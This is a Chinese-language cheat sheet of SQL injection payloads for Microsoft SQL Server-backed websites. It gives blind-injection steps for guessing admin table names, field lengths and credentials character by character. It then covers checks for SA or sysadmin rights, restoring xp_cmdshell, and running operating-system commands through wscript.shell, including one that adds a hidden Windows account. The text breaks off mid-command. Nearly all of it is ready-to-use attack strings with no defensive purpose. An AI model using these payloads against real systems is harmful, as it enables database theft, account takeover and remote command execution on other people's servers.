常用SQL注射语句解析_MySQL
SQL注射语句
1.判断有无注入点
' ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0(select count(*) from *)
and 0(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0
and 0
and 1
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称。
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0(select user_name()--
看xp_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
name = 'xp_cmdshell')--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:/inetpub/wwwroot/xplog70.dll'--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user
jiaoniang$ 1866574 /add'--
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -
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